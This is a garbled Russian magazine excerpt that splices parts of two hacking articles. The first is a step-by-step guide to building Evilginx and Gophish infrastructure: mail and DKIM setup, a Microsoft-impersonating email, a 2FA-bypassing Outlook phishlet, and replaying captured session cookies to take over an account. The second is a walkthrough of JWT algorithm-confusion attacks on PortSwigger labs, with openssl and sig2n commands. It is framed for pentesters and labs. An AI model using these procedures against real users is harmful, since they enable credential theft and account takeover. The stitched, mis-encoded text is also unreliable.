его, а толь ко опи шу клю чевые момен ты.

DigitalOcean

Пер вым делом уста нав лива ем ути литу OpenDKIM:

sudo apt update 
apt sudo install opendkim opendkim-tools 

И редак тиру ем файл . Добавим сле дующие стро ки

(номер пор та Socket выбира ем любой, который не занят):

/etc/opendkim.conf

AutoRestart Yes 
AutoRestartRate 10/1h 
UMask 002 
Syslog yes 
SyslogSuccess Yes 
LogWhy Yes 
Canonicalization relaxed/simple 
ExternalIgnoreList refile:/etc/opendkim/TrustedHosts 
InternalHosts refile:/etc/opendkim/TrustedHosts 
KeyTable refile:/etc/opendkim/KeyTable 
SigningTable refile:/etc/opendkim/SigningTable 
Mode sv 
PidFile /var/run/opendkim/opendkim.pid 
SignatureAlgorithm rsa-sha256 
UserID opendkim:opendkim 
Socket inet:12712@localhost 

Под клю чаем рас ширение Milter к Postx. Сна чала откры ваем файл 

 и меня ем номер пор та вот в этой стро ке:

/etc/
default/opendkim

SOCKET="inet:12301@localhost"

Но вый номер выбира ем тот, что ука зали ранее в :opendkim.conf

SOCKET="inet:12712@localhost"

За тем нас тра иваем Postx на исполь зование Milter. Для это го откры ваем
файл  и убеж даем ся, что при сутс тву ют эти две стро ки

и они не заком менти рова ны:

/etc/postfix/main.cf

  milter_protocol = 2
  milter_default_action = accept

Ре дак тиру ем сле дующие стро ки, меняя номер пор та на тот, что опре дели ли
ранее.

Ес ли таких парамет ров в фай ле нет, то про писы ваем их:

  smtpd_milters = inet:localhost:12712
  non_smtpd_milters = inet:localhost:12712

Соз даем катало ги для вза имо дей ствия с клю чами:

sudo mkdir /etc/opendkim 
sudo mkdir /etc/opendkim/keys 

Ука зыва ем доверен ные хос ты в фай ле ./etc/opendkim/TrustedHosts

Соз даем таб лицу клю чей, для это го про писы ваем в файл 

 такую стро ку:

/etc/opendkim/
KeyTable

mail._domainkey.webaccount.site webaccount.site:mail:/etc/opendkim/
keys/webaccount.site/mail.private 

Соз даем таб лицу под писей, про писав в файл 

эту стро ку:

/etc/opendkim/SigningTable

*@webaccount.site mail._domainkey.webaccount.site 

Те перь прис тупим к соз данию пары откры того и зак рытого клю чей. Перехо- 
дим в каталог  и соз даем дирек торию для домена,

в которой будут хра нить ся клю чи.

/etc/opendkim/keys

Ге нери руем клю чи сле дующей коман дой:

sudo opendkim-genkey -s mail -d webaccount.site 

Пос ле чего меня ем вла дель ца фай ла с зак рытым клю чом на учет ную запись
.opendkim

Ос талось добавить содер жимое фай ла  в тек сто вую запись DNS

в панели управле ния доменом. Выводим содер жимое фай ла в кон соль,
копиру ем всю стро ку, которая находит ся в скоб ках, и при водим к нуж ному
фор мату.

mail.txt

В ито ге у меня получи лось отформа тиро ван ное зна чение, которое нуж но
добавить в DNS-запись типа TXT с клю чом .mail._domainkey
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EVILGINX + GOPHISH
ПОДНИМАЕМ ИНФРАСТРУКТУРУ

ДЛЯ СИМУЛЯЦИИ ФИШИНГА
С ОБХОДОМ 2FA

ВЗЛОМ  НАЧАЛО СТАТЬИ←

DMARC
DMARC (Domain-based Message Authentication, Reporting &
Conformance) — это про токол аутен тифика ции элек трон ной поч ты, соз данный
для защиты доменов от спу фин га (под делки отпра вите ля) и фишин говых атак.
Полити ка DMARC опре деля ет то, как сер верам-получа телям сле дует обра- 
баты вать элек трон ные пись ма, которые не про ходят про вер ку аутен тифика- 
ции SPF и DKIM.

Нас трой ка край не прос та, осо бен но на фоне DKIM. Дос таточ но соз дать
TXT-запись вро де той, что на скрин шоте.

ÒÅÑÒÈÐÓÅÌ SMTP-ÑÅÐÂÅÐ

Ког да все нас тро ено, вре мя про верить работос пособ ность сер вера SMTP.
Для это го мож но либо отпра вить сооб щение себе на поч ту с любого сер виса,
либо же вос поль зовать ся . Откры ваем сайт по ссыл ке, копиру- 
ем ука зан ный там поч товый адрес и жмем боль шую кноп ку «Про верить».
Теперь мы можем отпра вить сооб щение на выдан ный нам адрес. Это дела- 
ется вот такой коман дой:

mail-тес тером

   echo "Test" | mail -s "Test" [почтовый адрес] 

Как видим, поч товый сер вер нас тро ен и кор рек тно работа ет (полови ну бал ла
мне сня ли, потому что домен есть в одном из нес коль ких чер ных спис ков,
но это сов сем не кри тич но). Если ты сде лал ошиб ки в нас трой ке, в этом отче- 
те они будут ука заны.

ÑÒÀÂÈÌ È ÍÀÑÒÐÀÈÂÀÅÌ EVILGINX È GOPHISH

Ñòàâèì Gophish
Преж де чем под нимать Evilginx и Gophish, нуж но уста новить в сис тему язык
Go, так как оба этих инс тру мен та работа ют на нем. Отправ ляем ся на сайт
раз работ чика и откры ваем , ска чива ем deb-пакет коман- 
дой wget и сле дуем инс трук ции.

стра ницу уста нов ки

Прис тупим к уста нов ке Gophish. Нам нуж но ска чать вер сию с интегра цией
в Evilginx из , тут есть два вари анта уста нов ки. Пер вый — ска- 
чива ем коман дой wget архив с релизом для сво ей ОС со ,
пос ле чего прос то разар хивиру ем файл и дела ем бинар ник Gophish исполня- 
емым коман дой chmod.

ре пози тория
стра ницы releases

Вто рой вари ант — сбор ка из исходно го кода. Для это го копиру ем репози- 
торий и запус каем уста нов ку:

sudo git clone https://github.com/kgretzky/gophish/ 
go build 

В резуль тате у нас будет вер сия Gophish, модифи циро ван ная для работы
с Evilginx.

Те перь мож но прис тупить к нас трой ке и запус ку Gophish. Пер вым делом
редак тиру ем файл . В нем нуж но изме нить параметр

. По умол чанию там ука зан локаль ный IP 127.0.0.1.

Что бы Gophish работал не толь ко локаль но и к нему воз можно было под клю- 
чить ся через интернет, нуж но изме нить этот IP на 0.0.0.0:3333. Номер пор та,
кста ти, мож но выс тавить любой незаня тый в сис теме.

config.json
admin_server.listen_url

Пос ле нас трой ки запус каем исполня емый файл Gophish и сра зу ищем в логах
логин и пароль по умол чанию для дос тупа к панели управле ния.

Те перь перехо дим в бра узер и обра щаем ся к панели Gophish по адре су сво- 
его VPS/VDS с ука зан ным ранее пор том.

Вво дим кре ды, которые наш ли в логах, пос ле чего у нас откры вает ся фор ма
для изме нения пароля по умол чанию. Меня ем пароль, сно ва вво дим кре ды,
аутен тифици руем ся и попада ем в нашу учет ную запись Gophish.

Что бы опти мизи ровать запуск и даль нейшие фишин говые кам пании, нуж но
нас тро ить Gophish как демон, то есть соз дать сер вис, который будет запус- 
кать Gophish в фоновом режиме или оста нав ливать одной коман дой.
В катало ге  находят ся сце нарии обо лоч ки, которые запус кают ся

сис темой ини циали зации SysVinit, поэто му соз даем в этом катало ге файл
Gophish и добав ляем сле дующий код, ука зав в парамет ре 

абсо лют ный путь к Gophish:

/etc/init.d

appDirectory

processName=Gophish 
process=gophish 
appDirectory=/home/zxc/gophish 
logfile=/var/log/gophish/gophish.log 
errfile=/var/log/gophish/gophish.error 

start  () {
    echo 'Starting '${processName}'...'
    cd ${appDirectory}
    ./  nohup $process >>$logfile 2>>$errfile & 
   1 sleep 
}

stop  () {
    echo 'Stopping '${processName}'...'
   pid=$(/bin/pidof ${process})
    kill ${pid}
   1 sleep 
}

 status() {
   pid=$(/bin/pidof ${process})
      |     if [["$pid" != "" "$pid" != "" ]]; then

        echo ${processName}' is running...'
   else

        echo ${processName}' is not running...'
   fi
}

  case $1 in
     start|stop|status) "$1" ;;

esac

Сох раня ем файл и про писы ваем коман ды для запус ка демона и про вер ки
ста туса его работы.

Сер вис запус кает ся и работа ет кор рек тно.

Ñòàâèì Evilginx
Ко пиру ем офи циаль ный репози торий Evilginx с GitHub:

 sudo git clone https://github.com/kgretzky/evilginx2 && cd evilginx2 

Evilginx тоже написан на Go, который у нас уже уста нов лен. Поэто му прос то
выпол няем . Скрипт соберет весь про ект и соз даст исполня емый файл

 в дирек тории .

make
evilginx build

Что бы пос тоян но не про писы вать бес конеч ные пути, луч ше соб рать все необ-
ходимое в отдель ном катало ге. Соз даем дирек торию  в домаш нем

катало ге и копиру ем исполня емый файл  вмес те с дирек тори ями

 и  в :

evilginx
evilginx

phishlets redirectors ~/evilginx

sudo mkdir ~/evilginx 
 ~ cd

sudo cp evilginx/build/evilginx ~/evilginx 
 sudo cp -r evilginx/phishlets/ ~/evilginx 
 sudo cp -r evilginx/redirectors/ ~/evilginx 

Ког да все готово, прис тупа ем к нас трой ке. Запус каем Evilginx:

sudo ./evilginx -p phishlets/

Нам необ ходимо опре делить IP-адрес и домен, а так же интегри ровать
Gophish. В кон соли Evilginx про писы ваем эти коман ды:

config domain [ваш домен] 
config ipv4 [IP вашего VPS/VDS] 
config gophish admin_url [URL, на котором поднят gophish] 
config gophish api_key [ключ API gophish] 
config gophish insecure true

Ключ API Gophish мож но най ти в панели управле ния Gophish, перей дя
на вклад ку Account Settings.

Те перь выпол няем коман ду  для тес тирова ния соеди- 

нения Evilginx и Gophish.

config gophish test

Со обще ние гла сит о том, что соеди нение успешно.
На этом эта пе мы пос тро или основную часть инфраструк туры. Теперь

мож но начать под готов ку к про веде нию фишин говой кам пании.

ÍÀÑÒÐÎÉÊÀ ÊÀÌÏÀÍÈÈ GOPHISH

От прав ляем ся в панель управле ния Gophish и начина ем нас тра ивать ком- 
понен ты для рас сылки фишин говых сооб щений.

Пер вый ком понент — это груп пы поль зовате лей, которым будут рас- 
сылать ся пись ма. Дру гими сло вами, это жер твы, точ нее, подопыт ные в нашем
тес те.

Пред положим, в резуль тате раз ведки мы получи ли име на и поч товые
адре са работ ников ком пании. Все эти дан ные добав ляем в соот ветс тву ющие
поля и нажима ем кноп ку Add для каж дого поль зовате ля. Либо можешь сра зу
заг рузить файл CSV, содер жащий все эти дан ные. Ког да вся инфа добав лена,
нажима ем кноп ку Save changes.

Сле дующее, что сто ит нас тро ить, — это шаб лон элек трон ного пись ма. Пра- 
виль но написан ное пись мо, не вызыва ющее подоз рений, а вызыва ющее
толь ко желание пос корее нажать на ссыл ку и выпол нить все инс трук ции, —
это клю чевой ком понент успешной фишин говой ата ки. Тут уже все зависит
от навыков соци аль ной инже нерии ата кующе го. Я соз дам абсо лют но
условное фишин говое пись мо и не буду рас писывать методы соци аль ной
инже нерии, это отдель ная тема.

INFO

О фишин говых при емах ты можешь про честь
в статье «

».
Пись мо с сюр при зом. Изу чаем улов ки

и хит рости для дос тавки писем с мал варью

Что бы соз дать фишин говое пись мо, я взял HTML-код нас тояще го сооб щения
от Microsoft, которое при ходи ло мне на поч ту, а затем нем ного изме нил его
содер жание.

В раз деле Email Templates встав ляем HTML-код и редак тиру ем сооб щение
на вклад ке HTML.

Не забыва ем пос тавить галоч ку Add Tracking Image, которая добавит тре кер
для отсле жива ния ста тис тики по откры тым пись мам. Тре кер выг лядит
как перемен ная  в коде сооб щения. Кста ти, об этих перемен- 
ных сто ит погово рить чуть под робнее.

{{.Tracker}}

При помощи перемен ных ты можешь менять содер жимое сооб щения
в зависи мос ти от поль зовате ля, которо му оно отправ лено. Все го перемен ных
десять, нам в пер вую оче редь при годят ся , 

и , которые под став ляют имя, фамилию и адрес поч ты из нас тро- 

ек групп поль зовате лей. Бла года ря им пись ма не при дет ся пер сонали зиро- 
вать вруч ную.

{{.FirstName}} {{.LastName}}
{{.Email}}

Пе ремен ная  под став ляет сге нери рован ную фишин говую ссыл ку

в сооб щение. Нап ример, я под ста вил ссыл ку через перемен ную в кноп ку
«Под твер дить». Про осталь ные перемен ные мож но про читать в 

.

{{.URL}}

до кумен- 
тации

Так же про писы ваем заголо вок и отпра вите ля сооб щения, который будет
ука зан, ког да пись мо дой дет. Я прос то ско пиро вал отпра вите ля из офи циаль- 
ного сооб щения Microsoft, но изме нил домен на свой, добавив сло во

 под доменом треть его уров ня. В ито ге мое сооб щение будет

отправ лено от име ни «Служ ба тех ничес кой под дер жки учет ных записей
Microsoft noreply@microsoft.webaccount.site».

microsoft

Ни же — фишин говое пись мо, которое у меня получи лось. Gophish будет
под став лять поч ту поль зовате ля вмес то перемен ной .{{.Email}}

Пись мо, как видишь, условное и на прак тике пот ребова ло бы доработ ки.
Тре тий ком понент — это про филь отправ ки, тот, ради которо го мы нас тра- 

ива ли поч товый сер вер и записи DNS. Здесь мы ука зыва ем SMTP-рет ран сля- 
тор, с помощью которо го будет про исхо дить рас сылка. Откры ваем вклад ку
Sending Prole, пишем наз вание про филя, ука зыва ем поч ту отпра вите ля и,
наконец, пишем адрес и порт SMTP-рет ран сля тора. Так как он находит ся
на том же хос те, где мы запус тили Gophish, вво дим  (порт SMTP

ука зывать обя затель но). Так же не забудь пос тавить галоч ку Ignore Certicate
Errors.

localhost:25

В этом же окне есть кноп ка для отправ ки тес тового пись ма, обя затель но про- 
веряй работос пособ ность SMTP-рет ран сля тора перед про веде нием кам- 
пании.

На этом нас трой ка ком понен тов Gophish закон чена, поэто му сво рачи ваем
бра узер и прис тупа ем к соз данию фишин говых ресур сов Evilginx.

CÎÇÄÀÍÈÅ ÔÈØÈÍÃÎÂÛÕ ÐÅÑÓÐÑÎÂ EVILGINX

Пер вое, с чем нуж но озна комить ся, — фиш леты Evilginx. Это самая осно ва,
с их помощью и обхо дит ся 2FA. Фиш леты — это кон фигура цион ные фай лы
YAML, которые опре деля ют, какие домены и под домены прок сировать, под- 
менять, какие аутен тифика цион ные дан ные перех ватывать и что с ними
делать. В общем, пра виль но нас тро енный фиш лет опре деля ет тех ничес кий
успех фишин говой ата ки. Для каж дого веб-ресур са пишет ся свой фиш лет,
одна ко каж дый фиш лет — это шаб лон.

Я не буду под робно опи сывать, как работа ют фиш леты или как их соз- 
давать, об этом погово рим в дру гой раз. Пока же можешь обра тить ся к 

. Самое глав ное — не покупай фиш леты в «Телег- 
раме», на форумах и тому подоб ных ресур сах!

офи- 
циаль ной докумен тации

Íàñòðàèâàåì ôèøëåò
Це левым веб-ресур сом я выб рал Outlook, фиш лет к которо му уже написан
и опуб ликован в . Ска чива ем его и переме щаем
в дирек торию .

ре пози тории на GitHub
~/evilginx/phishlets

За пус каем Evilginx с фиш летом:

sudo ./evilginx -p phishlets/

И начина ем нас тра ивать фишин говые ком понен ты. Пер вым делом зада ем
URL, который поль зователь будет видеть во вре мя прок сирова ния тра фика.
Нуж но при думать такое имя хос та, которое не будет вызывать подоз рений. Я
добавил два под домена к сво ему име ни хос та:

microsoft.outlook.webaccount.site 

Так как под домены необя затель но дол жны быть уни каль ными, мы исполь зуем
это свой ство для добав ления извес тных и авто ритет ных имен. Ука зыва ем имя
хос та и акти виру ем фиш лет:

phishlets hostname Outlook microsoft.outlook.webaccount.site 
phishlets enable Outlook 

В этот момент Evilginx будет авто мати чес ки получать сер тифика ты SSL/TLS
для всех доменов и под доменов, которые исполь зуют ся в ата ке, что бы
фишин говый URL, да и соеди нение в прин ципе работа ли по про токо лу
HTTPS.

Че рез 30 секунд успешно получа ем все сер тифика ты SSL/TLS и дви гаем ся
даль ше.

Ãîòîâèì ïðèìàíêè
Сле дующие в оче реди — при ман ки, они же Lures в офи циаль ной докумен- 
тации. По фак ту это прос то сге нери рован ные фишин говые ссыл ки, которые
мы отправ ляем. Нас трой ка очень прос та, сна чала соз даем при ман ку
для фиш лета Outlook:

lures create Outlook 

Кон соль выведет чис ловой иден тифика тор при ман ки, он нам еще при годит ся.
При водим ссыл ку к такому виду:

https://microsoft.outlook.webaccount.site/user/account 

Ко пиру ем сге нери рован ную фишин говую ссыл ку и перехо дим в Gophish.
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https://github.com/kgretzky/gophish/
https://github.com/kgretzky/gophish/releases/
https://xakep.ru/2023/10/05/surprise-malware/
https://docs.getgophish.com/user-guide/template-reference
https://help.evilginx.com/docs/phishlet-format
https://github.com/simplerhacking/Evilginx3-Phishlets


EVILGINX + GOPHISH
ПОДНИМАЕМ ИНФРАСТРУКТУРУ

ДЛЯ СИМУЛЯЦИИ ФИШИНГА
С ОБХОДОМ 2FA

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÇÀÏÓÑÊÀÅÌ ÔÈØÈÍÃÎÂÓÞ ÀÒÀÊÓ

Те перь откро ем вклад ку Campaigns и соберем все воеди но. Пишем наз вание
кам пании и выбира ем по задан ным име нам: шаб лон элек трон ного пись ма,
про филь отправ ки и груп пу поль зовате лей.

Выб рав все ком понен ты, встав ляем сге нери рован ную ранее ссыл ку в поле
Evilginx Lure URL и нажима ем на кноп ку Launch Campaign.

Пос ле запус ка кам пании мы видим ста тис тику, которая ведет ся в режиме
реаль ного вре мени. Пока что четыре сооб щения отправ лены, но никем
не про чита ны.

Про веря ем поч ту и видим, что фишин говое сооб щение дош ло.

На жав на про филь отпра вите ля, замеча ем, что тут ука зано все то, что мы про- 
писа ли в шаб лоне элек трон ного сооб щения Gophish. Нев ниматель ный поль- 
зователь, ско рее все го, даже не будет про верять, но если кто-то и про верит,
то есть веро ятность, что сло во  в наз вании домена уба юкает
подоз ритель ность.

microsoft

Сра зу же про верим, работа ет ли тре кер, отсле жива ющий откры тие сооб- 
щений. Видим, что прос мотр сооб щения регис три рует ся, ста тус поль зовате- 
ля в стол бце Status меня ется, к тому же обновля ются диаг раммы.

Вер немся к нашему фишин говому пись му. Ког да мы наводим кур сор на кноп- 
ку «Под твер дить», в ниж нем углу бра узе ра видим ссыл ку, по которой мы
перей дем пос ле нажатия.

Ими тируя дей ствия потен циаль ной жер твы, перехо дим по фишин говой ссыл- 
ке и ждем, пока бра узер про верит, безопас ная ли это стра ница.

Нас перенап равля ет на нас тоящую стра ницу авто риза ции Microsoft, но при
этом весь тра фик про ходит через наш обратный прок си-сер вер вот с таким
доменом:

live.microsoft.outlook.webaccount.site 

Вво дим логин и пароль, пос ле чего получа ем зап рос на под твержде ние вто- 
рого фак тора аутен тифика ции в при ложе нии Microsoft Authenticator.

Про дол жая ими тацию дей ствий потен циаль ной жер твы, под твержда ем вход
в мобиль ном при ложе нии и ждем, пока прой дет аутен тифика ция.

И в ито ге вхо дим в учет ную запись. При этом соеди нение все еще про исхо дит
через прок си-сер вер потен циаль ного зло умыш ленни ка.

От кры ваем кон соль Evilginx и видим логи успешно го перех вата.

Вво дим коман ду

sessions [ID сессии] 

И получа ем информа цию, которая содер жит вре мя перех вата, IP-адрес жер- 
твы, User agent, логин, пароль и cookie сеан са.

Ло гин и пароль — это, конеч но, важ ная и кри тичес кая информа ция, но смысл
этой ата ки — перех ватить токен сеан са в виде фай ла cookie. Что бы про экс- 
плу ати ровать перех ват сес сии, копиру ем всю стро ку cookies и откры ваем
бра узер.

Ус танав лива ем рас ширение Cookie-Editor, которое поз воля ет манипу- 
лиро вать куками, и откры ваем легитим ную стра ницу вхо да в Microsoft Outlook.
Перед тем как под менять cookie, уда ляем те, что наз начены бра узе ром.
Для это го прос то нажима ем кноп ку Delete All.

За тем нажима ем кноп ку Import и встав ляем сплош ную стро ку из перех вачен- 
ной сес сии в Evilginx. Теперь еще раз нажима ем на Import и обновля ем стра- 
ницу.

Пос ле обновле ния стра ницы бра узер обра баты вает куки, которые мы внед- 
рили, и откры вает учет ную запись поль зовате ля, у которо го был перех вачен
сес сион ный токен.

Раз добыв учет ку Microsoft в любом сер висе, мы так же получа ем дос туп
к основным нас трой кам и ко всем сер висам этой учет ной записи. Это может
быть доволь но кри тич но, осо бен но учи тывая, сколь ко кон фиден циаль ной
информа ции может хра нить ся в OneDrive или в докумен тах Word.

ÏÎÄÂÎÄÈÌ ÈÒÎÃÈ

За дача Gophish зак люча ется не толь ко в авто мати зации рас сылок, но и
в ведении ста тис тики, нап ример для под готов ки отче тов о резуль татах ата ки,
которые при годят ся пен тесте рам. Пос ле завер шения кам пании мы получа ем
ста тис тику о том, кто открыл пись мо, кто перешел по ссыл ке, кто попал ся
на фишинг и ввел кре ды или же что-то заподоз рил и пожало вал ся на пись мо.

На этом наша фишин говая кам пания завер шена. Как видим, для про веде ния
этой ата ки нам пот ребова лись толь ко базовые тех ничес кие зна ния и навыки,
а так же неболь шое финан совое вло жение в арен ду сер вера и домена.

Есть еще огромное мно жес тво методов, которые сде лают ата ку более
изощ ренной, но моей целью было показать базовый вари ант, который тем
не менее впол не может при менять ся на прак тике.

Ну а луч шее средс тво защиты — это баналь ная вни матель ность, которой
поль зовате лям зачас тую не хва тает.



JWT-ТОКЕНЫ ОТ И ДО
РАЗБИРАЕМСЯ С JSON WEB
TOKENS И АТАКАМИ НА НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÀÒÀÊÈ ALGORITHM CONFUSION

Ата ки algorithm confusion, или ата ки с путани цей в алго рит мах (еще их иног да
называ ют ата ками с путани цей в клю чах), воз ника ют, ког да зло умыш ленни ку
уда ется зас тавить сер вер про верить под пись токена JWT с помощью алго- 
рит ма, отлично го от пре дус мотрен ного раз работ чиками веб-при ложе ния.
При этом это не , как было в одном из пре дыду щих кей сов. Если такой

слу чай не обра ботать дол жным обра зом, зло умыш ленни ки могут под делать
токен JWT собс твен ными зна чени ями, не зная сек ретный ключ под писи сер- 
вера.

None

Уяз вимос ти, свя зан ные с путани цей алго рит мов, обыч но воз ника ют из-за
несовер шенс тва биб лиотек, которые поз воля ют работать с токена ми JWT.
Хотя фак тичес кий про цесс про вер ки отли чает ся в зависи мос ти от исполь- 
зуемо го алго рит ма, мно гие биб лиоте ки пре дос тавля ют еди ный, не завися- 
щий от алго рит ма метод про вер ки под писей. Эти методы полага ются
на параметр  в заголов ке токена, что бы опре делить тип про вер ки,

которую они дол жны выпол нить.

alg

Да вай раз берем на при мере, что бы было понят нее. Пред положим,
исполь зует ся метод  для про вер ки валид ности под писи. Он при- 

нима ет не толь ко тот алго ритм, который исполь зуют раз работ чики, но и дру- 
гие. Вот его псев докод:

verify()

  function verify(token, secretOrPublicKey){
     algorithm = token.getAlgHeader();
     if(algorithm == "RS256"){
       // Use the provided key as an RSA public key
       } else if (algorithm == "HS256"){
       // Use the provided key as an HMAC secret key
   }
}

Проб лемы воз ника ют, ког да раз работ чики сай тов, исполь зующие этот метод
в сво ем коде, дума ют, что он будет работать исклю читель но с токена ми JWT,
под писан ными асим метрич ным алго рит мом, нап ример RS256. Хотя по фак ту
это не так. Этот метод будет работать с любыми алго рит мами. Из-за это го
оши боч ного пред положе ния они могут всег да переда вать методу фик- 
сирован ный откры тый ключ сле дующим обра зом:

  publicKey = <public-key-of-server>;
  token = request.getCookie("session");

 verify(token, publicKey);

В этом слу чае, если сер вер получит токен JWT, в котором мы ука жем сим- 
метрич ный алго ритм шиф рования, нап ример HS256, метод  будет

рас смат ривать откры тый ключ как сек рет для HMAC-фун кции. Это озна чает,
что зло умыш ленник может под писать токен, исполь зуя HS256 в связ ке
с откры тым клю чом, который сер вер не скры вает.

verify()

INFO

От кры тый ключ, который ты будешь исполь зовать
для под писи JWT-токена, дол жен быть иден тичен
тому откры тому клю чу, который хра нит ся на сер- 
вере. Под этим под разуме вает ся исполь зование
того же фор мата (нап ример, X.509 PEM) и сох- 
ранение любых непечат ных сим волов, таких
как новые стро ки. На прак тике при дет ся мно го
экспе римен тировать, что бы эту ата ку уда лось
реали зовать.

Ëàáà: JWT authentication bypass via algorithm confusion
• Ла бора тор ная работа на сай те PortSwigger

За ходим в лабора торию как тес товый поль зователь и смот рим на токен JWT.

JWT-токен, выписан ный сер вером, в исходном виде

Под меча ем алго ритм — RS256. Это зна чит, что сер вер исполь зует при ват ный
ключ для под писи токенов, а пуб личный — для ее про вер ки. Нам нуж но
научить ся изме нять и под писывать JWT, не имея при ват ного клю ча. Для это го
мы экс плу ати руем уяз вимость с путани цей в алго рит мах, что бы под писать
JWT с помощью пуб лично го клю ча и зас тавить сер вер исполь зовать этот же
ключ для ее про вер ки.

Про верим дирек тории  и : не оста- 

вил ли в них сер вер пуб личные клю чи для нас? Оста вил!

/jwks.json /.well-known/jwks.json

Сер вер оста вил пуб личные клю чи в дирек тории /jwks.json

По мимо этих, мож но про верять еще сле дующие пути:
;• /openid/connect/jwks.json

;• /api/keys

.• /api/v1/keys

В некото рых слу чаях токены JWT могут так же под писывать ся зак рытым TLS-
клю чом сер вера. Извлечь пуб личный ключ мож но с помощью сле дующих
команд:

   
openssl s_client -connect http://example.com:443/ 2>&1 < /dev/null | 
sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem 

  openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem 

Итак, ключ, который мы наш ли в дирек тории, исполь зует ся сер вером для про- 
вер ки под писи. В опи сании к заданию было ска зано, что он исполь зует собс- 
твен ную копию, которая лежит на самом хос те в фор мате X.509 PEM. Зна чит,
нам нуж но пре обра зовать этот же ключ в исполь зуемый сер вером фор мат,
да так, что бы фай лы сов падали.

Пе рехо дим на вклад ку JWT Editor и соз даем новый ключ RSA. Встав ляем
JWK, который мы наш ли на сай те.

Пуб личный ключ на стра нице соз дания JWT Editor

Пе рек люча ем на PEM. JWT Editor пре обра зует встав ленный ранее ключ в этот
фор мат.

Кон верта ция из JWK в PEM

Сох раня ем и перек люча емся на вклад ку Decoder. Кодиру ем ключ в Base64.

PEM, закоди рован ный в Base64

Ко пиру ем получив шееся зна чение и воз вра щаем ся в JWT Editor. Нажима ем
«Новый сим метрич ный ключ» и генери руем его зна чение соот ветс тву ющей
кноп кой.

Про цесс соз дания нового сим метрич ного клю ча

Зна чение  заменя ем зна чени ем из пре дыду щего шага (как ты пом нишь,

это ключ, который будет исполь зовать ся для сим метрич ного шиф рования)
и сох раня ем.

k

Па раметр k — наш пуб личный ключ, закоди рован ный в Base64

Воз вра щаем ся к зап росу. Меня ем поль зовате ля и алго ритм с асим метрич- 
ного на сим метрич ный HS256.

Асим метрич ный RS256 нуж но заменить сим метрич ным HS256

Под писыва ем кноп кой Sign, Header мож но не модифи циро вать.

Под писание токена JWT

От прав ляем зап рос, и вот наша ссыл ка на админ скую панель.

Ссыл ка на панель адми нис тра тора

Пе рехо дим в бра узер с новым токеном, откры ваем админку и уда ляем Кар- 
лоса.

Уве дом ление об успешном про хож дении лабора тории

Ла бора тория успешно прой дена!

Ëàáà: JWT authentication bypass via algorithm confusion with no
exposed key
• Ла бора тор ная работа на сай те PortSwigger

Эта лабора тория отли чает ся от пре дыду щей тем, что в этот раз вла делец
сер вера не выложил пуб личные клю чи. На прак тике сай ты ред ко это дела ют,
поэто му лаба бли же к реаль нос ти, чем пре дыду щие.

Как же экс плу ати ровать уяз вимость? Здесь нам на помощь при ходит
обыч ная алгебра. Хотя крип тосис темы с откры тым клю чом гаран тиру ют, что
зак рытый ключ не может быть получен из откры того клю ча, под писей, зашиф- 
рован ных тек стов и про чих источни ков, обыч но таких гаран тий для откры того
клю ча нет!

Доб рые люди из Cryptography Stack Exchange уже всё при дума ли за нас
и  прос тое и гени аль ное решение: най ти наиболь ший общий
делитель (НОД) раз ности всех дос тупных пар сооб щение — под пись. Не вда- 
ваясь в под робнос ти того, почему это работа ет (пол ное объ ясне ние можешь
про читать в ), отме тим нес коль ко момен тов:

пред ста вили

ком мента рии на Stack Exchange
От кры тый ключ RSA пред став ляет собой пару целых чисел, где  —
модуль, а  — откры тая экспо нен та. Пос коль ку  — это обыч но некое
захар дко жен ное малое чис ло, нас инте ресу ет толь ко нахож дение .

• n

e e

n

Нес мотря на то что RSA вклю чает в себя боль шие чис ла, по-нас тояще му
эффектив ные алго рит мы для нахож дения НОД чисел  с древ- 
них вре мен (нам не нуж но умно жать методом перебо ра).

•
су щес тву ют

На ши шан сы рас тут с уве личе нием количес тва извес тных пар сооб- 
щение — под пись.

•

Итак, прис тупа ем к выпол нению. Заходим один раз от име ни wiener, получа ем
токен и копиру ем его куда-нибудь к себе в тек сто вый документ. Вот что
у меня получи лось:

eyJraWQiOiJlYTc5ODI1ZC0wZGE1LTQ0M2YtODRhOC1mYjU3YjIwOWQ1ZmUiLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDgyMjQ3Nywic3ViIjoid2llbmVyI
n0.
sO3PBnZQ0CVk-
ict3vvRsPnZFsrPIW4Rsptfl0sviLLI8JNDoqzyrZNYLJoigkhdNTTtI8Svf3AJvVhHO3
b0VIQigd52P8KYwXEIHNEGsbcY7Robg9gTn7kXulaksKb1CYcwXGqUC17xOm2BRD9Z0D_
HU_
hDufxyk4xGS3nR7aIxZvEHJcJoyyD6BcPxvs1PuPCFrOYyqjlGZqcd3rVpc9ZGdk3hco1
amFOGuG33pBF8EjrSXzrX6jONuEF31D6M5Abr58-_
ip30-_RqsRf4P6tLA-6_mKRS5xzIi_ZypuszdU2kPlO_npFTqILgdO_
OScS6KgaSW8EU2ghLIo8JGA 

Вы ходим, аутен тифици руем ся вто рой раз и копиру ем вто рой JWT-токен:

eyJraWQiOiJlYTc5ODI1ZC0wZGE1LTQ0M2YtODRhOC1mYjU3YjIwOWQ1ZmUiLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDgyMjU2OCwic3ViIjoid2llbmVyI
n0.
UlNcTGk8SfBv_AyBEXYqClWbRl1jY985uSs2OjcW6nKFwyRnnutcKRX1Zoj8zqn-
51TN12-C1yf-
hlQ5nZESdpCifDBDJVQ8DUKmJ1Ke7ao7WKHxVaOV0VNbk5vOyTpiCccp4p4ihVOn6BNW9
bll28Fl9L10PpPMnC1DRO--
9snEZEFQ_
Xvmnt3xfG9h6IIytApT57LgNk7GHQHsQvspVRXSAeGSCgxz3FRkRC5KZDV2juLxi6iojP
bhIX83fpkT6L_
XBv-_a7-dw68OEKCM0Qnau8d-Kj4xqwndQ9c1ZK0vVwUnzpsag1F-
eEsvhzUzczZYtCOd3NKUh5crVoIhgg 

Их хва тит, что бы подоб рать наиболь ший общий делитель и вычис лить пуб- 
личный ключ. Для это го мы можем исполь зовать  с GitHub.го товый скрипт

Он так же есть в Docker Registry, поэто му вос поль зуем ся докером:

 docker run --rm -it portswigger/sig2n <token1> <token2> 

Ре зуль тат выпол нения коман ды — на скрин шоте ниже. Скрип ту уда лось
